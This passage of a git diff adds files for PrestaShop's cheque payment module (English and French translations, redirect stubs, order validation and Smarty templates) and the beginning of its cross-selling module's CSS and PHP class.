+Tools::redirect(Context::getContext()->link->getModuleLink('cheque', 'payment')); \ No newline at end of file diff --git a/modules/cheque/translations/en.php b/modules/cheque/translations/en.php new file mode 100755 index 0000000..b1d868f --- /dev/null +++ b/modules/cheque/translations/en.php @@ -0,0 +1,10 @@ +payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Please confirm your order by clicking \'I confirm my order\''; +$_MODULE['<{cheque}prestashop>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'Do not forget to include your order number #%d.'; +$_MODULE['<{cheque}prestashop>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'Do not forget to include your order reference %s.'; +$_MODULE['<{cheque}prestashop>cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Payment by check'; +$_MODULE['<{cheque}prestashop>payment_841728ede901f5134574c4656aba5464'] = 'Pay by check (order processing will take more time)'; diff --git a/modules/cheque/translations/en2.php b/modules/cheque/translations/en2.php new file mode 100755 index 0000000..687d637 --- /dev/null +++ b/modules/cheque/translations/en2.php @@ -0,0 +1,10 @@ +payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Please confirm your order by clicking \'I confirm my order\''; +$_MODULE['<{cheque}prestashop>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'Do not forget to include your order number #%d.'; +$_MODULE['<{cheque}prestashop>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'Do not forget to include your order reference %s.'; +$_MODULE['<{cheque}prestashop>cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Payment by check'; +$_MODULE['<{cheque}prestashop>payment_841728ede901f5134574c4656aba5464'] = 'Pay by check (order processing will take more time)'; diff --git a/modules/cheque/translations/fr.php b/modules/cheque/translations/fr.php new file mode 100755 index 0000000..0322158 --- /dev/null +++ b/modules/cheque/translations/fr.php @@ -0,0 +1,50 @@ +cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Chèque'; +$_MODULE['<{cheque}prestashop>cheque_14e41f4cfd99b10766cc15676d8cda66'] = 'Ce module vous permet d\'accepter des paiements par chèque'; +$_MODULE['<{cheque}prestashop>cheque_e09484ba6c16bc20236b63cc0d87ee95'] = 'Êtes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{cheque}prestashop>cheque_10afbbb4dcb65d825785d196ffb294dd'] = 'L\'ordre du chèque et l\'adresse doivent être renseignés.'; +$_MODULE['<{cheque}prestashop>cheque_e2d93539acef2afbbadf8542351fb2b4'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{cheque}prestashop>cheque_94ce8bec7334b16916823f53ebe936d7'] = 'L\'ordre du chèque est requis.'; +$_MODULE['<{cheque}prestashop>cheque_4b5e20a521d31cc44b9690bd35eaacfc'] = 'L\'adresse est requise.'; +$_MODULE['<{cheque}prestashop>cheque_c888438d14855d7d96a2724ee9c306bd'] = 'Mise à jour réussie'; +$_MODULE['<{cheque}prestashop>cheque_aa646de3f8d345490b22b72d4a505dcd'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{cheque}prestashop>cheque_8c88bbf5712292b26e2a6bbeb0a7b5c4'] = 'Par conséquent, vous devez valider manuellement la commande dès réception du chèque.'; +$_MODULE['<{cheque}prestashop>cheque_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{cheque}prestashop>cheque_119100c9e7b17d9cfe7b1d6c64259a04'] = 'Veuillez préciser l\'ordre du chèque et l\'adresse pour vos clients'; +$_MODULE['<{cheque}prestashop>cheque_75475839e69bef6ed57a8200a5a71d37'] = 'A l\'ordre de'; +$_MODULE['<{cheque}prestashop>cheque_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{cheque}prestashop>cheque_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{cheque}prestashop>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{cheque}prestashop>payment_execution_8520b283b0884394b13b80d5689628b3'] = 'Paiement par chèque'; +$_MODULE['<{cheque}prestashop>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{cheque}prestashop>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{cheque}prestashop>payment_execution_060bf2d587991d8f090a1309b285291c'] = 'chèque'; +$_MODULE['<{cheque}prestashop>payment_execution_76ca011e4772bfcce26aecd42c598510'] = 'Vous avez choisi de régler par chèque.'; +$_MODULE['<{cheque}prestashop>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{cheque}prestashop>payment_execution_3b3b41f131194e747489ef93e778ed0d'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{cheque}prestashop>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{cheque}prestashop>payment_execution_7b1c6e78d93817f61f2b1bbc2108a803'] = 'Nous acceptons plusieurs devises pour les chèques.'; +$_MODULE['<{cheque}prestashop>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Merci de choisir parmi les suivantes :'; +$_MODULE['<{cheque}prestashop>payment_execution_f73ad0f08052884ff465749bf48b55ce'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{cheque}prestashop>payment_execution_7135ff14c7931e1c8e9d33aff3dfc7f7'] = 'L\'ordre et l\'adresse du chèque seront affichés sur la page suivante.'; +$_MODULE['<{cheque}prestashop>payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Merci de confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{cheque}prestashop>payment_execution_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{cheque}prestashop>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{cheque}prestashop>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{cheque}prestashop>payment_return_61da27a5dd1f8ced46c77b0feaa9e159'] = 'Veuillez nous envoyer un chèque avec :'; +$_MODULE['<{cheque}prestashop>payment_return_543baa3e0ca83589be12aff8036b5fe6'] = 'un montant de'; +$_MODULE['<{cheque}prestashop>payment_return_9b8f932b1412d130ece5045ecafd1b42'] = 'payable à l\'ordre de'; +$_MODULE['<{cheque}prestashop>payment_return_9a94f1d749a3de5d299674d6c685e416'] = 'à envoyer à'; +$_MODULE['<{cheque}prestashop>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d.'; +$_MODULE['<{cheque}prestashop>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s.'; +$_MODULE['<{cheque}prestashop>payment_return_610abe74e72f00210e3dcb91a0a3f717'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{cheque}prestashop>payment_return_ffd2478830ca2f519f7fe7ee259d4b96'] = 'Votre commande vous sera envoyée dès réception du paiement.'; +$_MODULE['<{cheque}prestashop>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{cheque}prestashop>payment_return_decce112a9e64363c997b04aa71b7cb8'] = 'support client'; +$_MODULE['<{cheque}prestashop>payment_return_9bdf695c5a30784327137011da6ef568'] = 'Nous avons rencontré un problème avec votre commande, veuillez contacter notre support client'; +$_MODULE['<{cheque}prestashop>payment_f05fd8637f8a6281466a507fcb56baec'] = 'Payer par chèque'; +$_MODULE['<{cheque}prestashop>payment_841728ede901f5134574c4656aba5464'] = 'Payer par chèque (traitement plus long)'; diff --git a/modules/cheque/translations/fr2.php b/modules/cheque/translations/fr2.php new file mode 100755 index 0000000..efaf6f9 --- /dev/null +++ b/modules/cheque/translations/fr2.php @@ -0,0 +1,50 @@ +cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Chèque'; +$_MODULE['<{cheque}prestashop>cheque_14e41f4cfd99b10766cc15676d8cda66'] = 'Ce module vous permet d\'accepter des paiements par chèque.'; +$_MODULE['<{cheque}prestashop>cheque_e09484ba6c16bc20236b63cc0d87ee95'] = 'Êtes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{cheque}prestashop>cheque_10afbbb4dcb65d825785d196ffb294dd'] = 'L\'ordre du chèque et l\'adresse doivent être renseignés.'; +$_MODULE['<{cheque}prestashop>cheque_e2d93539acef2afbbadf8542351fb2b4'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{cheque}prestashop>cheque_94ce8bec7334b16916823f53ebe936d7'] = 'L\'ordre du chèque est requis.'; +$_MODULE['<{cheque}prestashop>cheque_4b5e20a521d31cc44b9690bd35eaacfc'] = 'L\'adresse est requise.'; +$_MODULE['<{cheque}prestashop>cheque_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{cheque}prestashop>cheque_aa646de3f8d345490b22b72d4a505dcd'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{cheque}prestashop>cheque_8c88bbf5712292b26e2a6bbeb0a7b5c4'] = 'Par conséquent, vous devez valider manuellement la commande dès réception du chèque.'; +$_MODULE['<{cheque}prestashop>cheque_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{cheque}prestashop>cheque_119100c9e7b17d9cfe7b1d6c64259a04'] = 'Veuillez préciser l\'ordre du chèque et l\'adresse pour vos clients'; +$_MODULE['<{cheque}prestashop>cheque_75475839e69bef6ed57a8200a5a71d37'] = 'A l\'ordre de'; +$_MODULE['<{cheque}prestashop>cheque_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{cheque}prestashop>cheque_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{cheque}prestashop>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{cheque}prestashop>payment_execution_8520b283b0884394b13b80d5689628b3'] = 'Paiement par chèque'; +$_MODULE['<{cheque}prestashop>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{cheque}prestashop>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{cheque}prestashop>payment_execution_060bf2d587991d8f090a1309b285291c'] = 'chèque'; +$_MODULE['<{cheque}prestashop>payment_execution_76ca011e4772bfcce26aecd42c598510'] = 'Vous avez choisi de régler par chèque.'; +$_MODULE['<{cheque}prestashop>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{cheque}prestashop>payment_execution_3b3b41f131194e747489ef93e778ed0d'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{cheque}prestashop>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{cheque}prestashop>payment_execution_7b1c6e78d93817f61f2b1bbc2108a803'] = 'Nous acceptons plusieurs devises pour les chèques.'; +$_MODULE['<{cheque}prestashop>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Veuillez choisir parmi les suivantes :'; +$_MODULE['<{cheque}prestashop>payment_execution_f73ad0f08052884ff465749bf48b55ce'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{cheque}prestashop>payment_execution_7135ff14c7931e1c8e9d33aff3dfc7f7'] = 'L\'ordre et l\'adresse du chèque seront affichés sur la page suivante.'; +$_MODULE['<{cheque}prestashop>payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{cheque}prestashop>payment_execution_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{cheque}prestashop>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{cheque}prestashop>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{cheque}prestashop>payment_return_61da27a5dd1f8ced46c77b0feaa9e159'] = 'Veuillez nous envoyer un chèque avec :'; +$_MODULE['<{cheque}prestashop>payment_return_543baa3e0ca83589be12aff8036b5fe6'] = 'un montant de'; +$_MODULE['<{cheque}prestashop>payment_return_9b8f932b1412d130ece5045ecafd1b42'] = 'payable à l\'ordre de'; +$_MODULE['<{cheque}prestashop>payment_return_9a94f1d749a3de5d299674d6c685e416'] = 'à envoyer à'; +$_MODULE['<{cheque}prestashop>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d.'; +$_MODULE['<{cheque}prestashop>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s.'; +$_MODULE['<{cheque}prestashop>payment_return_610abe74e72f00210e3dcb91a0a3f717'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{cheque}prestashop>payment_return_ffd2478830ca2f519f7fe7ee259d4b96'] = 'Votre commande vous sera envoyée dès réception du paiement.'; +$_MODULE['<{cheque}prestashop>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{cheque}prestashop>payment_return_decce112a9e64363c997b04aa71b7cb8'] = 'support client'; +$_MODULE['<{cheque}prestashop>payment_return_9bdf695c5a30784327137011da6ef568'] = 'Nous avons rencontré un problème avec votre commande, veuillez contacter notre support client'; +$_MODULE['<{cheque}prestashop>payment_f05fd8637f8a6281466a507fcb56baec'] = 'Payer par chèque'; +$_MODULE['<{cheque}prestashop>payment_841728ede901f5134574c4656aba5464'] = 'Payer par chèque (traitement plus long)'; diff --git a/modules/cheque/translations/index.php b/modules/cheque/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/validation.php b/modules/cheque/validation.php new file mode 100755 index 0000000..d1381d4 --- /dev/null +++ b/modules/cheque/validation.php @@ -0,0 +1,68 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +include(dirname(__FILE__).'/../../config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +include(dirname(__FILE__).'/../../header.php'); +include(dirname(__FILE__).'/cheque.php'); + +$context = Context::getContext(); +$cart = $context->cart; +$cheque = new Cheque(); +// echo $cart->id_address_delivery; +// die(); +if ($cart->id_customer == 0 OR $cart->id_address_delivery == 0 OR $cart->id_address_invoice == 0 OR !$cheque->active) + Tools::redirect('index.php?controller=order&step=1'); + +// Check that this payment option is still available in case the customer changed his address just before the end of the checkout process +$authorized = false; +foreach (Module::getPaymentModules() as $module) + if ($module['name'] == 'cheque') + { + $authorized = true; + break; + } +if (!$authorized) + die($cheque->l('This payment method is not available.', 'validation')); + +$customer = new Customer($cart->id_customer); + +if (!Validate::isLoadedObject($customer)) + Tools::redirect('index.php?controller=order&step=1'); + +$currency = $context->currency; +$total = (float)$cart->getOrderTotal(true, Cart::BOTH); + +$cheque->validateOrder((int)$cart->id, Configuration::get('PS_OS_CHEQUE'), $total, $cheque->displayName, NULL, array(), (int)$currency->id, false, $customer->secure_key); + +Tools::redirect('index.php?controller=order-confirmation&id_cart='.(int)($cart->id).'&id_module='.(int)($cheque->id).'&id_order='.$cheque->currentOrder.'&key='.$customer->secure_key); + + diff --git a/modules/cheque/views/index.php b/modules/cheque/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/views/templates/front/index.php b/modules/cheque/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/views/templates/front/payment_execution.tpl b/modules/cheque/views/templates/front/payment_execution.tpl new file mode 100755 index 0000000..e03a879 --- /dev/null +++ b/modules/cheque/views/templates/front/payment_execution.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Check payment' mod='cheque'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Order summary' mod='cheque'}

        + +{assign var='current_step' value='payment'} +{include file="$tpl_dir./order-steps.tpl"} + +{if isset($nbProducts) && $nbProducts <= 0} +

        {l s='Your shopping cart is empty.'}

        +{else} + +

        {l s='Check payment' mod='cheque'}

        +
        +

        + {l s='Check' mod='cheque'} + {l s='You have chosen to pay by check.' mod='cheque'} +

        + {l s='Here is a short summary of your order:' mod='cheque'} +

        +

        + - {l s='The total amount of your order comes to:' mod='cheque'} + {displayPrice price=$total} + {if $use_taxes == 1} + {l s='(tax incl.)' mod='cheque'} + {/if} +

        +

        + - + {if isset($currencies) && $currencies|@count > 1} + {l s='We accept several currencies to receive payments by check.' mod='cheque'} +

        + {l s='Choose one of the following:' mod='cheque'} + + {else} + {l s='We allow the following currencies to be sent by check:' mod='cheque'} {$currencies.0.name} + + {/if} +

        +

        + {l s='Check owner and address information will be displayed on the next page.' mod='cheque'} +

        + {l s='Please confirm your order by clicking \'I confirm my order\'' mod='cheque'}. +

        +

        + + {l s='Other payment methods' mod='cheque'} +

        +
        +{/if} diff --git a/modules/cheque/views/templates/hook/index.php b/modules/cheque/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/views/templates/hook/payment.tpl b/modules/cheque/views/templates/hook/payment.tpl new file mode 100755 index 0000000..24f4e53 --- /dev/null +++ b/modules/cheque/views/templates/hook/payment.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + + {l s='Pay by check.' mod='cheque'} + {l s='Pay by check (order processing will take more time).' mod='cheque'} + +

        diff --git a/modules/cheque/views/templates/hook/payment_return.tpl b/modules/cheque/views/templates/hook/payment_return.tpl new file mode 100755 index 0000000..fe3f58a --- /dev/null +++ b/modules/cheque/views/templates/hook/payment_return.tpl @@ -0,0 +1,47 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $status == 'ok'} +

        {l s='Your order on %s is complete.' sprintf=$shop_name mod='cheque'} +

        + {l s='Your check must include:' mod='cheque'} +

        - {l s='Payment ammount.' mod='cheque'} {$total_to_pay} +

        - {l s='Payable to the order of' mod='cheque'} {if $chequeName}{$chequeName}{else}___________{/if} +

        - {l s='Mail to' mod='cheque'} {if $chequeAddress}{$chequeAddress}{else}___________{/if} + {if !isset($reference)} +

        - {l s='Do not forget to insert your order number #%d.' sprintf=$id_order mod='cheque'} + {else} +

        - {l s='Do not forget to insert your order reference %s.' sprintf=$reference mod='cheque'} + {/if} +

        {l s='An email has been sent to you with this information.' mod='cheque'} +

        {l s='Your order will be sent as soon as we receive your payment.' mod='cheque'} +

        {l s='For any questions or for further information, please contact our' mod='cheque'} {l s='customer service department.' mod='cheque'}. +

        +{else} +

        + {l s='We have noticed that there is a problem with your order. If you think this is an error, you can contact our' mod='cheque'} + {l s='customer service department.' mod='cheque'}. +

        +{/if} diff --git a/modules/cheque/views/templates/index.php b/modules/cheque/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/crossselling/crossselling.css b/modules/crossselling/crossselling.css new file mode 100755 index 0000000..ab5e872 --- /dev/null +++ b/modules/crossselling/crossselling.css @@ -0,0 +1,37 @@ +#crossselling h2.productscategory_h2 { + margin:40px 0 20px 0; + padding:10px 0; + border-bottom:1px solid #ccc; + font-size:18px; + color:#333 +} + +#crossselling {overflow:auto} + +#crossselling ul {list-style-type:none} +#crossselling li { + float:left; + margin: 0 8px; + padding: 0 5px; +} +#crossselling li a.lnk_img {display:block} +#crossselling li a img {border:1px solid #ccc} +#crossselling li p.product_name {text-align:center} + +#crossselling_list { + float: left; + overflow: hidden; + width: 96%; +} + +#crossselling_scroll_left, + #crossselling_scroll_right { + background: url('img/thumbs_left.gif') no-repeat center; + text-indent: -3000px; + display: block; + width: 9px; + height: 18px; + float: left; + margin-top: 30px +} +#crossselling_scroll_right { background-image: url('img/thumbs_right.gif') } diff --git a/modules/crossselling/crossselling.php b/modules/crossselling/crossselling.php new file mode 100755 index 0000000..5bf4f95 --- /dev/null +++ b/modules/crossselling/crossselling.php @@ -0,0 +1,244 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class CrossSelling extends Module +{ + private $_html; + + public function __construct() + { + $this->name = 'crossselling'; + $this->tab = 'front_office_features'; + $this->version = 0.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Cross Selling'); + $this->description = $this->l('Customers who bought this product also bought:'); + + if (!$this->isRegisteredInHook('header')) + $this->registerHook('header'); + } + + public function install() + { + if (!parent::install() OR + !$this->registerHook('productFooter') OR + !$this->registerHook('header') OR + !$this->registerHook('shoppingCart') OR + !Configuration::updateValue('CROSSSELLING_DISPLAY_PRICE', 0) OR + !Configuration::updateValue('CROSSSELLING_NBR', 10)) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() OR + !$this->unregisterHook('productFooter') OR + !$this->unregisterHook('header') OR + !$this->unregisterHook('shoppingCart') OR + !Configuration::deleteByName('CROSSSELLING_DISPLAY_PRICE') OR + !Configuration::deleteByName('CROSSSELLING_NBR')) + return false; + return true; + } + + public function getContent() + { + $this->_html = ''; + + if (Tools::isSubmit('submitCross')) + { + if (Tools::getValue('displayPrice') != 0 AND Tools::getValue('displayPrice') != 1) + $this->_html .= $this->displayError('Invalid displayPrice'); + else if (!($productNbr = Tools::getValue('productNbr')) || empty($productNbr)) + $this->_html .= $this->displayError('You must fill in the \'Products displayed\' field.'); + elseif ((int)($productNbr) == 0) + $this->_html .= $this->displayError('Invalid number.'); + else + { + Configuration::updateValue('CROSSSELLING_DISPLAY_PRICE', (int)Tools::getValue('displayPrice')); + Configuration::updateValue('CROSSSELLING_NBR', (int)Tools::getValue('productNbr')); + $this->_html .= $this->displayConfirmation($this->l('Settings updated successfully')); + } + } + $this->_html .= ' +
        +
        '.$this->l('Settings').' + +
        + + + + +

        '.$this->l('Show the price on the products in the block.').'

        +
        +
        + +

        '.$this->l('Define the number of products displayed in this block').'

        +
        +
        +
        +
        '; + return $this->_html; + } + + public function hookHeader() + { + $this->context->controller->addCSS(($this->_path).'crossselling.css', 'all'); + $this->context->controller->addJS(($this->_path).'js/crossselling.js'); + } + + /** + * Returns module content + */ + public function hookshoppingCart($params) + { + if (!$params['products']) + return; + + $qOrders = 'SELECT o.id_order + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_detail od ON (od.id_order = o.id_order) + WHERE o.valid = 1 AND ('; + $nProducts = count($params['products']); + $i = 1; + $pIds = array(); + foreach ($params['products'] as $product) + { + $qOrders .= 'od.product_id = '.(int)$product['id_product']; + if ($i < $nProducts) + $qOrders .= ' OR '; + ++$i; + $pIds[] = (int)$product['id_product']; + } + $qOrders .= ')'; + $orders = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($qOrders); + + if (sizeof($orders)) + { + + $list = ''; + foreach ($orders AS $order) + $list .= (int)$order['id_order'].','; + $list = rtrim($list, ','); + + $list_product_ids = join(',', $pIds); + $orderProducts = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT od.product_id, pl.name, pl.link_rewrite, p.reference, i.id_image, product_shop.show_price, cl.link_rewrite category, p.ean13 + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = od.product_id) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_product = od.product_id'.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = product_shop.id_category_default'.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN '._DB_PREFIX_.'image i ON (i.id_product = od.product_id) + WHERE od.id_order IN ('.$list.') + AND pl.id_lang = '.(int)$this->context->language->id.' + AND cl.id_lang = '.(int)$this->context->language->id.' + AND od.product_id NOT IN ('.$list_product_ids.') + AND i.cover = 1 + AND product_shop.active = 1 + ORDER BY RAND() + LIMIT '.(int)Configuration::get('CROSSSELLING_NBR').' + '); + + $taxCalc = Product::getTaxCalculationMethod(); + foreach 